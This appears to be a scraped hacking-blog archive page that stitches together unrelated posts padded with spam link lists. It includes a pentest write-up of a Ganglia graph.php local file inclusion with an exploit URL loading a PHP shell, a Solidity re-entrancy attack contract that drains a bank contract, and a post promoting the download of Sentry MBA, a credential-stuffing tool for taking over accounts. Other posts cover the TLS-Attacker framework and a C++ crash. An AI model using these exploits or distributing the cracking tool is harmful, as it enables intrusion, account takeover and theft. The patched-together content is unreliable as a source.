Friday, May 22, 2020

Ganglia Monitoring System LFI


Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was "Ganglia Monitoring System" http://ganglia.sourceforge.net
The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)
apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a variable....bingo.

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: $include_file = $regs[2];
class.TemplatePower.inc.php: if( !@include_once( $include_file ) )
class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );
class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );
graph.php: include_once($graph_file);
The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;
....
....
....
$graph_file = "$graphdir/$graph.php";


Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}

#-------------------------------------------------------------------------------
# If arg is a valid number, return it. Otherwise, return null.
function clean_number( $value )
{
return is_numeric( $value ) ? $value : null;
}
Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {
include_once($graph_file);

$graph_function = "graph_${graph}";
$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace
} else {
/* Bad stuff happened. */
error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");
exit();
}

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).
The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...


Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
...
...
...
$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";
$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";
if( is_file( $php_report_file ) ) {
include_once $php_report_file;


tl;dr; wrap up - "Ganglia Monitoring System" http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell
Related word

Thursday, May 21, 2020

DOWNLOAD SENTRY MBA V1.4.1 – AUTOMATED ACCOUNT CRACKING TOOL

Sentry MBA is an automated account cracking tool that makes it one of the most popular cracking tools. It is used by cybercriminals to take over user accounts on major websites. With Sentry MBA, criminals can rapidly test millions of usernames and passwords to see which ones are valid on a targeted website. The tool has become incredibly popular — the Shape Security research team sees Sentry MBA attack attempts on nearly every website we protect.  Download Sentry MBA v1.4.1 latest version.

FEATURES

Sentry MBA has a point-and-click graphical user interface, online help forums, and vibrant underground marketplaces to enable large numbers of individuals to become cybercriminals. These individuals no longer need advanced technical skills, specialized equipment, or insider knowledge to successfully attack major websites.
Sentry MBA attack has three phases,
  • Targeting and attack refinement
  • Automated account check
  • Monetization
More information

Wednesday, May 20, 2020

Playing With TLS-Attacker

In the last two years, we changed the TLS-Attacker Project quite a lot but kept silent about most changes we implemented. Since we do not have so much time to keep up with the documentation (we are researchers and not developers in the end), we thought about creating a small series on some of our recent changes to the project on this blog.


We hope this gives you an idea on how to use the most recent version (TLS-Attacker 2.8). If you feel like you found a bug, don't hesitate to contact me via GitHub/Mail/Twitter. This post assumes that you have some idea what this is all about. If you have no idea, checkout the original paper from Juraj or our project on GitHub.

TLDR: TLS-Attacker is a framework which allows you to send arbitrary protocol flows.


Quickstart:
# Install & Use Java JDK 8
$ sudo apt-get install maven
$ git clone https://github.com/RUB-NDS/TLS-Attacker
$ cd TLS-Attacker
$ mvn clean package

So, what changed since the release of the original paper in 2016? Quite a lot! We discovered that we could make the framework much more powerful by adding some new concepts to the code which I want to show you now.

Action System

In the first Version of TLS-Attacker (1.x), WorkflowTraces looked like this:
Although this design looks straight forward, it lacks flexibility. In this design, a WorkflowTrace is basically a list of messages. Each message is annotated with a <messageIssuer>, to tell TLS-Attacker that it should either try to receive this message or send it itself. If you now want to support more advanced workflows, for example for renegotiation or session resumption, TLS-Attacker will soon reach its limits. There is also a missing angle for fuzzing purposes. TLS-Attacker will by default try to use the correct parameters for the message creation, and then apply the modifications afterward. But what if we want to manipulate parameters of the connection which influence the creation of messages? This was not possible in the old version, therefore, we created our action system. With this action system, a WorkflowTrace does not only consist of a list of messages but a list of actions. The most basic actions are the Send- and ReceiveAction. These actions allow you to basically recreate the previous behavior of TLS-Attacker 1.x . Here is an example to show how the same workflow would look like in the newest TLS-Attacker version:


As you can see, the <messageIssuer> tags are gone. Instead, you now indicate with the type of action how you want to deal with the message. Another important thing: TLS-Attacker uses WorkflowTraces as an input as well as an output format. In the old version, once a WorkflowTrace was executed it was hard to see what actually happened. Especially, if you specify what messages you expect to receive. In the old version, your WorkflowTrace could change during execution. This was very confusing and we, therefore, changed the way the receiving of messages works. The ReceiveAction has a list of <expectedMessages>. You can specify what you expect the other party to do. This is mostly interesting for performance tricks (more on that in another post), but can also be used to validate that your workflow executedAsPlanned. Once you execute your ReceiveAction an additional <messages> tag will pop up in the ReceiveAction to show you what has actually been observed. Your original WorkflowTrace stays intact.


During the execution, TLS-Attacker will execute the actions one after the other. There are specific configuration options with which you can control what TLS-Attacker should do in the case of an error. By default, TLS-Attacker will never stop, and just execute whatever is next.

Configs

As you might have seen the <messageIssuer> tags are not the only thing which is missing. Additionally, the cipher suites, compression algorithms, point formats, and supported curves are missing. This is no coincidence. A big change in TLS-Attacker 2.x is the separation of the WorkflowTrace from the parameter configuration and the context. To explain how this works I have to talk about how the new TLS-Attacker version creates messages. Per default, the WorkflowTrace does not contain the actual contents of the messages. But let us step into TLS-Attackers point of view. For example, what should TLS-Attacker do with the following WorkflowTrace:

Usually, the RSAClientKeyExchange message is constructed with the public key from the received certificate message. But in this WorkflowTrace, we did not receive a certificate message yet. So what public key are we supposed to use? The previous version had "some" key hardcoded. The new version does not have these default values hardcoded but allows you as the user to define the default values for missing values, or how our own messages should be created. For this purpose, we introduced the new concept of Configs. A Config is a file/class which you can provide to TLS-Attacker in addition to a WorkflowTrace, to define how TLS-Attacker should behave, and how TLS-Attacker should create its messages (even in the absence of needed parameters). For this purpose, TLS-Attacker has a default Config, with all the known hardcoded values. It is basically a long list of possible parameters and configuration options. We chose sane values for most things, but you might have other ideas on how to do things. You can execute a WorkflowTrace with a specific config. The provided Config will then overwrite all existing default values with your specified values. If you do not specify a certain value, the default value will be used. I will get back to how Configs work, once we played a little bit with TLS-Attacker.

TLS-Attacker ships with a few example applications (found in the "apps/" folder after you built the project). While TLS-Attacker 1.x was mostly a standalone tool, we currently see TLS-Attacker more as a library which we can use by our more sophisticated projects. The current example applications are:
  • TLS-Client (A TLS-Client to execute WorkflowTraces with)
  • TLS-Server (A TLS-Server to execute WorkflowTraces with)
  • Attacks (We'll talk about this in another blog post)
  • TLS-Forensics (We'll talk about this in another blog post)
  • TLS-Mitm (We'll talk about this in another blog post)
  • TraceTool (We'll talk about this in another blog post) 

TLS-Client

The TLS-Client is a simple TLS-Client. Per default, it executes a handshake for the default selected cipher suite (RSA). The only mandatory parameter is the server you want to connect to (-connect).

The most trivial command you can start it with is:

Note: The example tool does not like "https://" or other protocol information. Just provide a hostname and port

Depending on the host you chose your output might look like this:

or like this:

So what is going on here? Let's start with the first execution. As I already mentioned. TLS-Attacker constructs the default WorkflowTrace based on the default selected cipher suite. When you run the client, the WorkflowExecutor (part of TLS-Attacker which is responsible for the execution of a WorkflowTrace) will try to execute the handshake. For this purpose, it will first start the TCP connection.
This is what you see here:

After that, it will execute the actions specified in the default WorkflowTrace. The default WorkflowTrace looks something like this:
This is basically what you see in the console output. The first action which gets executed is the SendAction with the ClientHello.

Then, we expect to receive messages. Since we want to be an RSA handshake, we do not expect a ServerKeyExchange message, but only want a ServerHello, Certificate and a ServerHelloDone message.

We then execute the second SendAction:

and finally, we want to receive a ChangeCipherSpec and Finished Message:

In the first execution, these steps all seem to have worked. But why did they fail in the second execution? The reason is that our default Config does not only allow specify RSA cipher suites but creates ClientHello messages which also contain elliptic curve cipher suites. Depending on the server you are testing with, the server will either select and RSA cipher suite, or an elliptic curve one. This means, that the WorkflowTrace will not executeAsPlanned. The server will send an additional ECDHEServerKeyExchange. If we would look at the details of the ServerHello message we would also see that an (ephemeral) elliptic curve cipher suite is selected:

Since our WorkflowTrace is configured to send an RSAClientKeyExchange message next, it will just do that:

Note: ClientKeyExchangeMessage all have the same type field, but are implemented inside of TLS-Attacker as different messages

Since this RSAClientKeyExchange does not make a lot of sense for the server, it rejects this message with a DECODE_ERROR alert:

If we would change the Config of TLS-Attacker, we could change the way our ClientHello is constructed. If we specify only RSA cipher suites, the server has no choice but to select an RSA one (or immediately terminate the connection). We added command line flags for the most common Config changes. Let's try to change the default cipher suite to TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:

As you can see, we now executed a complete ephemeral elliptic curve handshake. This is, because the -cipher flag changed the <defaultSelectedCiphersuite> parameter (among others) in the Config. Based on this parameter the default WorkflowTrace is constructed. If you want, you can specify multiple cipher suites at once, by seperating them with a comma.

We can do the same change by supplying TLS-Attacker with a custom Config via XML. To this we need to create a new file (I will name it config.xml) like this:

You can then load the Config with the -config flag:

For a complete reference of the supported Config options, you can check out the default_config.xml. Most Config options should be self-explanatory, for others, you might want to check where and how they are used in the code (sorry).

Now let's try to execute an arbitrary WorkflowTrace. To do this, we need to store our WorkflowTrace in a file and load it with the -workflow_input parameter. I just created the following WorkflowTrace:


As you can see I just send a ServerHello message instead of a ClientHello message at the beginning of the handshake. This should obviously never happen but let's see how the tested server reacts to this.
We can execute the workflow with the following command:

The server (correctly) responded with an UNEXPECTED_MESSAGE alert. Great!

Output parameters & Modifications

You are now familiar with the most basic concepts of TLS-Attacker, so let's dive into other things TLS-Attacker can do for you. As a TLS-Attacker user, you are sometimes interested in the actual values which are used during a WorkflowTrace execution. For this purpose, we introduced the -workflow_output flag. With this parameter, you can ask TLS-Attacker to store the executed WorkflowTrace with all its values in a file.
Let's try to execute our last created WorkflowTrace, and store the output WorkflowTrace in the file out.xml:


The resulting WorkflowTrace looks like this:

As you can see, although the input WorkflowTrace was very short, the output trace is quite noisy. TLS-Attacker will display all its intermediate values and modification points (this is where the modifiable variable concept becomes interesting). You can also execute the output workflow again.


Note that at this point there is a common misunderstanding: TLS-Attacker will reset the WorkflowTrace before it executes it again. This means, it will delete all intermediate values you see in the WorkflowTrace and recompute them dynamically. This means that if you change a value within <originalValue> tags, your changes will just be ignored. If you want to influence the values TLS-Attacker uses, you either have to manipulate the Config (as already shown) or apply modifications to TLS-Attackers ModifiableVariables. The concept of ModifiableVariables is mostly unchanged to the previous version, but we will show you how to do this real quick anyway.

So let us imagine we want to manipulate a value in the WorkflowTrace using a ModifiableVariable via XML. First, we have to select a field which we want to manipulate. I will choose the protocol version field in the ServerHello message we sent. In the WorkflowTrace this looked like this:

For historical reasons, 0x0303 means TLS 1.2. 0x0300 was SSL 3. When they introduced TLS 1.0 they chose 0x0301 and since then they just upgraded the minor version.

In order to manipulate this ModifiableVariable, we first need to know its type. In some cases it is currently non-trivial to determine the exact type, this is mostly undocumented (sorry). If you don't know the exact type of a field you currently have to look at the code. The following types and modifications are defined:
  • ModifiableBigInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor
  • ModifiableBoolean: explicitValue, toggle
  • ModifiableByteArray: delete, duplicate, explicitValue, insert, shuffle, xor
  • ModifiableInteger: add, explicitValue, shiftLeft, shiftRight, subtract, xor
  • ModifiableLong: add, explicitValue, subtract, xor
  • ModifiableByte: add, explicitValue, subtract, xor
  • ModifiableString: explicitValue
As a rule of thumb: If the value is only up to 1 byte of length we use a ModifiableByte. If the value is up to 4 bytes of length, but the values are used as a normal number (for example in length fields) it is a ModifiableInteger. Fields which are used as a number which are bigger than 4 bytes (for example a modulus) is usually a ModifiableBigInteger. Most other types are encoded as ModifiableByteArrays. The other types are very rare (we are currently working on making this whole process more transparent).
Once you have found your type you have to select a modification to apply to it. For manual analysis, the most common modifications are the XOR modification and the explicit value modification. However, during fuzzing other modifications might be useful as well. Often times you just want to flip a bit and see how the server responds, or you want to directly overwrite a value. In this example, we want to overwrite a value.
Let us force TLS-Attacker to send the version 0x3A3A. To do this I consult the ModifiableVariable README.md for the exact syntax. Since <protocolVersion> is a ModifiableByteArray I search in the ByteArray section.

I find the following snippet:

If I now want to change the value to 0x3A3A I modify my WorkflowTrace like this:

You can then execute the WorkflowTrace with:

With Wireshark you can now observe  that the protocol version got actually changed. You would also see the change if you would specify a -workflow_output or if you start the TLS-Client with the -debug flag.

More Actions

As I already hinted, TLS-Attacker has more actions to offer than just a basic Send- and ReceiveAction (50+ in total). The most useful, and easiest to understand actions are now introduced:

ActivateEncryptionAction

This action does basically what the CCS message does. It activates the currently "negotiated" parameters. If necessary values are missing in the context of the connection, they are drawn from the Config.


DeactivateEncryptionAction

This action does the opposite. If the encryption was active, we now send unencrypted again.


PrintLastHandledApplicationDataAction

Prints the last application data message either sent or received.


PrintProposedExtensionsAction

Prints the proposed extensions (from the client)


PrintSecretsAction

Prints the secrets (RSA) from the current connection. This includes the nonces, cipher suite, public key, modulus, premaster secret, master secret and verify data.


RenegotiationAction

Resets the message digest. This is usually done if you want to perform a renegotiation.


ResetConnectionAction

Closes and reopens the connection. This can be useful if you want to analyze session resumption or similar things which involve more than one handshake.


SendDynamicClientKeyExchangeAction

Send a ClientKeyExchange message, and always chooses the correct one (depending on the current connection state). This is useful if you just don't care about the actual cipher suite and just want the handshake done.


SendDynamicServerKeyExchangeAction

(Maybe) sends a ServerKeyExchange message. This depends on the currently selected cipher suite. If the cipher suite requires the transmission of a ServerKeyExchange message, then a ServerKeyExchange message will be sent, otherwise, nothing is done. This is useful if you just don't care about the actual cipher suite and just want the handshake done.


WaitAction

This lets TLS-Attacker sleep for a specified amount of time (in ms).





As you might have already seen there is so much more to talk about in TLS-Attacker. But this should give you a rough idea of what is going on.

If you have any research ideas or need support feel free to contact us on Twitter (@ic0nz1, @jurajsomorovsky ) or at https://www.hackmanit.de/.

If TLS-Attacker helps you to find a bug in a TLS implementation, please acknowledge our tool(s). If you want to learn more about TLS, Juraj and I are also giving a Training about TLS at Ruhrsec (27.05.2019).
Related articles

  1. Hacker Significado
  2. Hacking Food
  3. Como Ser Hacker
  4. Hacking Linux Distro
  5. Que Es Un Hacker
  6. Growth Hacking Cursos
  7. Hacking Marketing
  8. Significado Hacker
  9. Como Aprender A Ser Hacker
  10. Ultimate Hacking Keyboard
  11. Curso Hacking Gratis
  12. Growth Hacking Cursos

Thank You To Volunteers And Board Members That Worked BlackHat Booth 2019

The OWASP Foundation would like to thank the OWASP Las Vegas Chapter Volunteers for taking the time out of their busy schedule to give back and volunteer to work the booth at BlackHat 2019.  It was great meeting our Las Vegas OWASP members and working with Jorge, Carmi, Dave, and Nancy.  
Also, take a moment to thank Global Board Members Martin Knobloch, Owen Pendlebury, and Gary Robinson for also working the booth and speaking with individuals and groups to answer questions on projects and suggestions on the use of our tools to address their work problems.
OWASP can not exist without support from our members.  

More info


LEGALITY OF ETHICAL HACKING

Why ethical hacking?
Legality of Ehical Hacking
 
Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.

Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.
More information
  1. Hacking Code
  2. Hacker Etico
  3. Curso Hacking Etico Gratis

Blockchain Exploitation Labs - Part 1 Smart Contract Re-Entrancy


Why/What Blockchain Exploitation?

In this blog series we will analyze blockchain vulnerabilities and exploit them ourselves in various lab and development environments. If you would like to stay up to date on new posts follow and subscribe to the following:
Twitter: @ficti0n
Youtube: https://www.youtube.com/c/ConsoleCowboys
URL: http://cclabs.io
          http://consolecowboys.com

As of late I have been un-naturally obsessed with blockchains and crypto currency. With that obsession comes the normal curiosity of "How do I hack this and steal all the monies?"

However, as usual I could not find any actual walk thorough or solid examples of actually exploiting real code live. Just theory and half way explained examples.

That question with labs is exactly what we are going to cover in this series, starting with the topic title above of Re-Entrancy attacks which allow an attacker to siphon out all of the money held within a smart contract, far beyond that of their own contribution to the contract.
This will be a lab based series and I will show you how to use demo the code within various test environments and local environments in order to perform and re-create each attacks for yourself.  

Note: As usual this is live ongoing research and info will be released as it is coded and exploited.

If you are bored of reading already and just want to watch videos for this info or are only here for the demos and labs check out the first set of videos in the series at the link below and skip to the relevant parts for you, otherwise lets get into it:


Background Info:

This is a bit of a harder topic to write about considering most of my audience are hackers not Ethereum developers or blockchain architects. So you may not know what a smart contract is nor how it is situated within the blockchain development model. So I am going to cover a little bit of context to help with understanding.  I will cover the bare minimum needed as an attacker.

A Standard Application Model:
  • In client server we generally have the following:
  • Front End - what the user sees (HTML Etc)
  • Server Side - code that handles business logic
  • Back End - Your database for example MySQL

A Decentralized Application Model:

Now with a Decentralized applications (DAPP) on the blockchain you have similar front end server side technology however
  • Smart contracts are your access into the blockchain.
  • Your smart contract is kind of like an API
  • Essentially DAPPs are Ethereum enabled applications using smart contracts as an API to the blockchain data ledger
  • DAPPs can be banking applications, wallets, video games etc.

A blockchain is a trust-less peer to peer decentralized database or ledger

The back-end is distributed across thousands of nodes in its entirety on each node. Meaning every single node has a Full "database" of information called a ledger.  The second difference is that this ledger is immutable, meaning once data goes in, data cannot be changed. This will come into play later in this discussion about smart contracts.

Consensus:

The blockchain of these decentralized ledgers is synchronized by a consensus mechanism you may be familiar with called "mining" or more accurately, proof of work or optionally Proof of stake.

Proof of stake is simply staking large sums of coins which are at risk of loss if one were to perform a malicious action while helping to perform consensus of data.   

Much like proof of stake, proof of work(mining) validates hashing calculations to come to a consensus but instead of loss of coins there is a loss of energy, which costs money, without reward if malicious actions were to take place.

Each block contains transactions from the transaction pool combined with a nonce that meets the difficulty requirements.  Once a block is found and accepted it places them on the blockchain in which more then half of the network must reach a consensus on. 

The point is that no central authority controls the nodes or can shut them down. Instead there is consensus from all nodes using either proof of work or proof of stake. They are spread across the whole world leaving a single centralized jurisdiction as an impossibility.

Things to Note: 

First Note: Immutability

  • So, the thing to note is that our smart contracts are located on the blockchain
  • And the blockchain is immutable
  • This means an Agile development model is not going to work once a contract is deployed.
  • This means that updates to contracts is next to impossible
  • All you can really do is createa kill-switch or fail safe functions to disable and execute some actions if something goes wrong before going permanently dormant.
  • If you don't include a kill switch the contract is open and available and you can't remove it

Second Note:  Code Is Open Source
  • Smart Contracts are generally open source
  • Which means people like ourselves are manually bug hunting smart contracts and running static analysis tools against smart contract code looking for bugs.

When issues are found the only course of action is:
  • Kill the current contract which stays on the blockchain
  • Then deploy a whole new version.
  • If there is no killSwitch the contract will be available forever.
Now I know what you're thinking, these things are ripe for exploitation.
And you would be correct based on the 3rd note


Third Note: Security in the development process is lacking
  • Many contracts and projects do not even think about and SDLC.
  • They rarely add penetration testing and vulnerability testing in the development stages if at all
  • At best there is a bug bounty before the release of their main-nets
  • Which usually get hacked to hell and delayed because of it.
  • Things are getting better but they are still behind the curve, as the technology is new and blockchain mostly developers and marketers.  Not hackers or security testers.


Forth Note:  Potential Data Exposure via Future Broken Crypto
  • If sensitive data is placed on the blockchain it is there forever
  • Which means that if a cryptographic algorithm is broken anything which is encrypted with that algorithm is now accessible
  • We all know that algorithms are eventually broken!
  • So its always advisable to keep sensitive data hashed for integrity on the blockchain but not actually stored on the blockchain directly


 Exploitation of Re-Entrancy Vulnerabilities:

With a bit of the background out of the way let's get into the first attack in this series.

Re-Entrancy attacks allow an attacker to create a re-cursive loop within a contract by having the contract call the target function rather than a single request from a  user. Instead the request comes from the attackers contract which does not let the target contracts execution complete until the tasks intended by the attacker are complete. Usually this task will be draining the money out of the contract until all of the money for every user is in the attackers account.

Example Scenario:

Let's say that you are using a bank and you have deposited 100 dollars into your bank account.  Now when you withdraw your money from your bank account the bank account first sends you 100 dollars before updating your account balance.

Well what if when you received your 100 dollars, it was sent to malicious code that called the withdraw function again not letting  the initial target deduct your balance ?

With this scenario you could then request 100 dollars, then request 100 again and you now have 200 dollars sent to you from the bank. But 50% of that money is not yours. It's from the whole collection of money that the bank is tasked to maintain for its accounts.

Ok that's pretty cool, but what if that was in a re-cursive loop that did not BREAK until all accounts at the bank were empty?  

That is Re-Entrancy in a nutshell.   So let's look at some code.

Example Target Code:


           function withdraw(uint withdrawAmount) public returns (uint) {
       
1.         require(withdrawAmount <= balances[msg.sender]);
2.         require(msg.sender.call.value(withdrawAmount)());

3.          balances[msg.sender] -= withdrawAmount;
4.          return balances[msg.sender];
        }

Line 1: Checks that you are only withdrawing the amount you have in your account or sends back an error.
Line 2: Sends your requested amount to the address the requested that withdrawal.
Line 3: Deducts the amount you withdrew from your account from your total balance.
Line 4. Simply returns your current balance.

Ok this all seems logical.. however the issue is in Line 2 - Line 3.   The balance is being sent back to you before the balance is deducted. So if you were to call this from a piece of code which just accepts anything which is sent to it, but then re-calls the withdraw function you have a problem as it never gets to Line 3 which deducts the balance from your total. This means that Line 1 will always have enough money to keep withdrawing.

Let's take a look at how we would do that:

Example Attacking Code:


          function attack() public payable {
1.           bankAddress.withdraw(amount);
         }

2.    function () public payable {
         
3.            if (address(bankAddress).balance >= amount) {
4.               bankAddress.withdraw(amount);
                }
}

Line 1: This function is calling the banks withdraw function with an amount less than the total in your account
Line 2: This second function is something called a fallback function. This function is used to accept payments that come into the contract when no function is specified. You will notice this function does not have a name but is set to payable.
Line 3:  This line is checking that the target accounts balance is greater than the amount being withdrawn.
Line 4:  Then again calling the withdraw function to continue the loop which will in turn be sent back to the fallback function and repeat lines over and over until the target contracts balance is less than the amount being requested.



Review the diagram above which shows the code paths between the target and attacking code. During this whole process the first code example from the withdraw function is only ever getting to lines 1-2 until the bank is drained of money. It never actually deducts your requested amount until the end when the full contract balance is lower then your withdraw amount. At this point it's too late and there is no money left in the contract.


Setting up a Lab Environment and coding your Attack:

Hopefully that all made sense. If you watch the videos associated with this blog you will see it all in action.  We will now analyze code of a simple smart contract banking application. We will interface with this contract via our own smart contract we code manually and turn into an exploit to take advantage of the vulnerability.

Download the target code from the following link:

Then lets open up an online ethereum development platform at the following link where we will begin analyzing and exploiting smart contracts in real time in the video below:

Coding your Exploit and Interfacing with a Contract Programmatically:

The rest of this blog will continue in the video below where we will  manually code an interface to a full smart contract and write an exploit to take advantage of a Re-Entrency Vulnerability:

 


Conclusion: 

In this smart contract exploit writing intro we showed a vulnerability that allowed for re entry to a contract in a recursive loop. We then manually created an exploit to take advantage of the vulnerability. This is just the beginning, as this series progresses you will see other types of vulnerabilities and have the ability to code and exploit them yourself.  On this journey through the decentralized world you will learn how to code and craft exploits in solidity using various development environments and test nets.

Related news


Webkiller Tool | Information Gathering | Github

Related articles


Tuesday, May 19, 2020

C++ Std::Condition_Variable Null Pointer Derreference


This story is about a bug generated by g++ and clang compilers (at least)
The condition_variables is a feature on the standard library of c++ (libstdc++), when its compiled statically a weird asm code is generated.


Any example on the link below will crash if its compiled statically:
 https://en.cppreference.com/w/cpp/thread/condition_variable



In this case the condition_variable.wait() crashed, but this happens with other methods, a simple way to trigger it:




If this program is compiled dynamically the crash doesn't occur:

Looking the dissasembly there is a surprise created by the compiler:


Compilers:
    g++  9.2.1+20200130-2
    clang++ v9

Both compilers are generating the "call 0x00"

If we check this call in a dynamic compiled:




The implementation of condition_variable in github:
https://github.com/gcc-mirror/gcc/blob/b7c9bd36eaacac42631b882dc67a6f0db94de21c/libstdc%2B%2B-v3/include/std/condition_variable


The compilers can't copile well this code in static,  and same happens on  other condition_variable methods.
I would say the _lock is being assembled improperly in static, is not exacly a null pointer derreference but the effects are the same, executing code at address 0x00 which on linux is a crash on most of cases.

Related links